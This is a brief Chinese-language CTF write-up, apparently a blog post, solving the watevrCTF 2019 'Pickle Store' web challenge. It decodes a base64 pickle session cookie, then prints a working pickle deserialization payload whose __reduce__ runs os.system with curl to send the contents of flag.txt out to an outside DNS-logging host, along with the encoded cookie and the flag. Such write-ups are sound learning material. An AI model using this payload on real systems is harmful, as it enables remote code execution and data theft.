2019watevrCTF-Pickle Store

https://github.com/wat3vr/watevrCTF-2019/tree/master/challenges/web/pickle store

gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu

看起来有点像base64:

import pickle
from base64 import *
enc = "gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu"
print(pickle.loads(b64decode(enc)))
{'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}

pickle序列化:

import base64
import pickle


class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('curl `cat flag.txt`.pnhhkbxgbc.dgrh3.cn')",))
a = A()
print( base64.b64encode( pickle.dumps(a) ) )

gASVXgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxCX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2N1cmwgYGNhdCBmbGFnLnR4dGAucG5oaGtieGdiYy5kZ3JoMy5jbicplIWUUpQu

替换cookie后刷新即可

flag646be503-3848-4237-9a52-393c751c25c2

替换为:

flag{646be503-3848-4237-9a52-393c751c25c2}

即可

posted @ 2024-10-14 15:11  starme  阅读(53)  评论(0)    收藏  举报